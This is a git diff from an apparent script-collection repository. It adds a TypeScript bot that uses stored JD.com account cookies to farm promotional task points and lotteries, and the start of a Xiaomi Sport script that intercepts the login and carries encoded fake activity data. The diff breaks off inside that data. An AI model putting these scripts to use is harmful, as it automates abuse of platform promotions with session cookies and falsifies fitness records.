i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_wishingPool.ts b/backUp/jd_wishingPool.ts new file mode 100644 index 0000000000..31e75af0fa --- /dev/null +++ b/backUp/jd_wishingPool.ts @@ -0,0 +1,156 @@ +import axios from 'axios'; +import USER_AGENT from '../TS_USER_AGENTS'; + +let $: any = {}; +let cookie: string = '', cookiesArr: Array = []; +let balance: number; + +!(async () => { + await requireConfig(); + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + let taskVos: any = await api('healthyDay_getHomeData', {"appId": "1EFVQwQ", "taskToken": "", "channelId": 1}); + if (JSON.stringify(taskVos.data.success) === 'false') { + console.log('此号活动火爆') + continue + } + balance = taskVos.data.result.userInfo.userScore * 1 + console.log('余额:', balance) + while (balance >= 500) { + console.log('exchange()') + let res: any = await api('interact_template_getLotteryResult', {"appId": "1EFVQwQ"}) + // console.log('抽奖结果:', res.data.result.lotteryReturnCode) + console.log('抽奖结果:', res.data) + balance -= 500 + } + + let tasks: any = taskVos.data.result.taskVos + for (let t of tasks) { + console.log(t.taskName) + if (t.status === 1) { + if (t.shoppingActivityVos) { + for (let tp of t.shoppingActivityVos) { + await doTask(tp.taskToken, t.taskId, t.waitDuration) + } + } + + if (t.productInfoVos) { + for (let tp of t.productInfoVos) { + console.log(tp.skuName, tp.taskToken) + await doTask(tp.taskToken, t.taskId, t.waitDuration) + } + } + + if (t.followShopVo) { + for (let tp of t.followShopVo) { + console.log(tp.shopName, tp.taskToken) + await doTask(tp.taskToken, t.taskId, 0) + } + } + } + } + console.log('-------------------------------') + await wait(1000) + } +})() + +function api(Fn: string, body: Object): Object { + return new Promise(async resolve => { + let {data} = await axios.post(`https://api.m.jd.com/client.action`, + `functionId=${Fn}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + { + headers: { + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/UQwNm9fNDey3xNEUTSgpYikqnXR/index.html', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'User-Agent': USER_AGENT, + 'Host': 'api.m.jd.com', + 'cookie': cookie + } + }) + resolve(data); + }) +} + +function doTask(taskToken: string, taskId: number, timeout: number) { + return new Promise(async resolve => { + let res: any; + if (timeout !== 0) { + res = await api('harmony_collectScore', {"appId": "1EFVQwQ", "taskToken": taskToken, "taskId": taskId, "actionType": 1}) + console.log('领取任务: ', res.data.bizMsg, '\n等待中...'); + await wait(timeout * 1000); + } + res = await api('harmony_collectScore', {"appId": "1EFVQwQ", "taskToken": taskToken, "taskId": taskId, "actionType": 0}); + if (res.code === 0) { + try { + console.log(`任务成功: 获得${res.data.result.score * 1} 余额: ${res.data.result.userScore * 1}`); + } catch (e) { + console.log(`任务错误: `, JSON.stringify(res)) + } + } + await wait(1000); + resolve(); + }) +} + +function wait(t: number) { + return new Promise(resolve => { + setTimeout(() => { + resolve() + }, t) + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('\n====================Hello World====================\n'); + console.log('开始获取配置文件\n'); + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]); + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`); + resolve(0); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + axios.get('https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', { + headers: { + Host: "me-api.jd.com", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": USER_AGENT, + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }).then(res => { + if (res.data) { + let data = res.data + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data['data'] && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + }).catch(e => { + console.log('Error:', e) + }) + resolve(); + }) +} diff --git a/backUp/xmSport.js b/backUp/xmSport.js new file mode 100644 index 0000000000..d7665f1bce --- /dev/null +++ b/backUp/xmSport.js @@ -0,0 +1,451 @@ +/** + * [MITM] + * account.huami.com + * [RegExp] + * ^https:\/\/account\.huami\.com\/v2\/client\/login + * [env] + * export XM_SPORT_TOKEN=YOUR_TOKEN + */ + +const $ = new Env('小米运动'); +const isRequest = typeof $request != "undefined" +let dataJSON = "%5B%7B%22data_hr%22%3A%22%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FVv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0v%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0n%5C%2Fa%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1FK%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9PTFFpaf9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0j%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9K%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzf%5C%2F%5C%2F%5C%2F86%5C%2Fzr%5C%2FOv88%5C%2Fzf%5C%2FPf%5C%2F%5C%2F%5C%2F0v%5C%2FS%5C%2F8%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FSf%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fz3%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0r%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F9L%5C%2Fzb%5C%2FSf9K%5C%2F0v%5C%2FRf9H%5C%2Fzj%5C%2FSf9K%5C%2F0%5C%2F%5C%2FN%5C%2F%5C%2F%5C%2F%5C%2F0D%5C%2FSf83%5C%2Fzr%5C%2FPf9M%5C%2F0v%5C%2FOv9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzv%5C%2F%5C%2Fz7%5C%2FO%5C%2F83%5C%2Fzv%5C%2FN%5C%2F83%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fz%5C%2F%5C%2FNv83%5C%2Fzn%5C%2FXv84%5C%2Fzr%5C%2FPP84%5C%2Fzj%5C%2FN%5C%2F9e%5C%2Fzr%5C%2FN%5C%2F89%5C%2F03%5C%2FP%5C%2F89%5C%2Fz3%5C%2FQ%5C%2F9N%5C%2F0v%5C%2FTv9C%5C%2F0H%5C%2FOf9D%5C%2Fzz%5C%2FOf88%5C%2Fz%5C%2F%5C%2FPP9A%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fzz%5C%2FNv87%5C%2F0D%5C%2FOv84%5C%2F0v%5C%2FO%5C%2F84%5C%2Fzf%5C%2FMP83%5C%2FzH%5C%2FNv83%5C%2Fzf%5C%2FN%5C%2F84%5C%2Fzf%5C%2FOf82%5C%2Fzf%5C%2FOP83%5C%2Fzb%5C%2FMv81%5C%2FzX%5C%2FR%5C%2F9L%5C%2F0v%5C%2FO%5C%2F9I%5C%2F0T%5C%2FS%5C%2F9A%5C%2Fzn%5C%2FPf89%5C%2Fzn%5C%2FNf9K%5C%2F07%5C%2FN%5C%2F83%5C%2Fzn%5C%2FNv83%5C%2Fzv%5C%2FO%5C%2F9A%5C%2F0H%5C%2FOf8%5C%2F%5C%2Fzj%5C%2FPP83%5C%2Fzj%5C%2FS%5C%2F87%5C%2Fzj%5C%2FNv84%5C%2Fzf%5C%2FOf83%5C%2Fzf%5C%2FOf83%5C%2Fzb%5C%2FNv9L%5C%2Fzj%5C%2FNv82%5C%2Fzb%5C%2FN%5C%2F85%5C%2Fzf%5C%2FN%5C%2F9J%5C%2Fzf%5C%2FNv83%5C%2Fzj%5C%2FNv84%5C%2F0r%5C%2FSv83%5C%2Fzf%5C%2FMP%5C%2F%5C%2F%5C%2Fzb%5C%2FMv82%5C%2Fzb%5C%2FOf85%5C%2Fz7%5C%2FNv8%5C%2F%5C%2F0r%5C%2FS%5C%2F85%5C%2F0H%5C%2FQP9B%5C%2F0D%5C%2FNf89%5C%2Fzj%5C%2FOv83%5C%2Fzv%5C%2FNv8%5C%2F%5C%2F0f%5C%2FSv9O%5C%2F0ZeXv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1X%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9B%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FTP%5C%2F%5C%2F%5C%2F1b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9N%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%22%2C%22date%22%3A%222021-08-07%22%2C%22data%22%3A%5B%7B%22start%22%3A0%2C%22stop%22%3A1439%2C%22value%22%3A%22UA8AUBQAUAwAUBoAUAEAYCcAUBkAUB4AUBgAUCAAUAEAUBkAUAwAYAsAYB8AYB0AYBgAYCoAYBgAYB4AUCcAUBsAUB8AUBwAUBIAYBkAYB8AUBoAUBMAUCEAUCIAYBYAUBwAUCAAUBgAUCAAUBcAYBsAYCUAATIPYD0KECQAYDMAYB0AYAsAYCAAYDwAYCIAYB0AYBcAYCQAYB0AYBAAYCMAYAoAYCIAYCEAYCYAYBsAYBUAYAYAYCIAYCMAUB0AUCAAUBYAUCoAUBEAUC8AUB0AUBYAUDMAUDoAUBkAUC0AUBQAUBwAUA0AUBsAUAoAUCEAUBYAUAwAUB4AUAwAUCcAUCYAUCwKYDUAAUUlEC8IYEMAYEgAYDoAYBAAUAMAUBkAWgAAWgAAWgAAWgAAWgAAUAgAWgAAUBAAUAQAUA4AUA8AUAkAUAIAUAYAUAcAUAIAWgAAUAQAUAkAUAEAUBkAUCUAWgAAUAYAUBEAWgAAUBYAWgAAUAYAWgAAWgAAWgAAWgAAUBcAUAcAWgAAUBUAUAoAUAIAWgAAUAQAUAYAUCgAWgAAUAgAWgAAWgAAUAwAWwAAXCMAUBQAWwAAUAIAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWREAWQIAUAMAWSEAUDoAUDIAUB8AUCEAUC4AXB4AUA4AWgAAUBIAUA8AUBAAUCUAUCIAUAMAUAEAUAsAUAMAUCwAUBYAWgAAWgAAWgAAWgAAWgAAWgAAUAYAWgAAWgAAWgAAUAYAWwAAWgAAUAYAXAQAUAMAUBsAUBcAUCAAWwAAWgAAWgAAWgAAWgAAUBgAUB4AWgAAUAcAUAwAWQIAWQkAUAEAUAIAWgAAUAoAWgAAUAYAUB0AWgAAWgAAUAkAWgAAWSwAUBIAWgAAUC4AWSYAWgAAUAYAUAoAUAkAUAIAUAcAWgAAUAEAUBEAUBgAUBcAWRYAUA0AWSgAUB4AUDQAUBoAXA4AUA8AUBwAUA8AUA4AUA4AWgAAUAIAUCMAWgAAUCwAUBgAUAYAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAWwAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAeSEAeQ8AcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBcAcAAAcAAAcCYOcBUAUAAAUAAAUAAAUAAAUAUAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCgAeQAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcBgAeQAAcAAAcAAAegAAegAAcAAAcAcAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCkAeQAAcAcAcAAAcAAAcAwAcAAAcAAAcAIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCIAeQAAcAAAcAAAcAAAcAAAcAAAeRwAeQAAWgAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcBoAeScAeQAAegAAcBkAeQAAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAegAAegAAcAAAcAAAcBgAeQAAcAAAcAAAcAAAcAAAcAAAcAkAegAAegAAcAcAcAAAcAcAcAAAcAAAcAAAcAAAcA8AeQAAcAAAcAAAeRQAcAwAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcBEAcA0AcAAAWQsAUAAAUAAAUAAAUAAAUAAAcAAAcAoAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBYAegAAcAAAcAAAegAAcAcAcAAAcAAAcAAAcAAAcAAAeRkAegAAegAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAEAcAAAcAAAcAAAcAUAcAQAcAAAcBIAeQAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBsAcAAAcAAAcBcAeQAAUAAAUAAAUAAAUAAAUAAAUBQAcBYAUAAAUAAAUAoAWRYAWTQAWQAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAMAcAAAcAQAcAAAcAAAcAAAcDMAeSIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBQAeQwAcAAAcAAAcAAAcAMAcAAAeSoAcA8AcDMAcAYAeQoAcAwAcFQAcEMAeVIAaTYAbBcNYAsAYBIAYAIAYAIAYBUAYCwAYBMAYDYAYCkAYDcAUCoAUCcAUAUAUBAAWgAAYBoAYBcAYCgAUAMAUAYAUBYAUA4AUBgAUAgAUAgAUAsAUAsAUA4AUAMAUAYAUAQAUBIAASsSUDAAUDAAUBAAYAYAUBAAUAUAUCAAUBoAUCAAUBAAUAoAYAIAUAQAUAgAUCcAUAsAUCIAUCUAUAoAUA4AUB8AUBkAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAf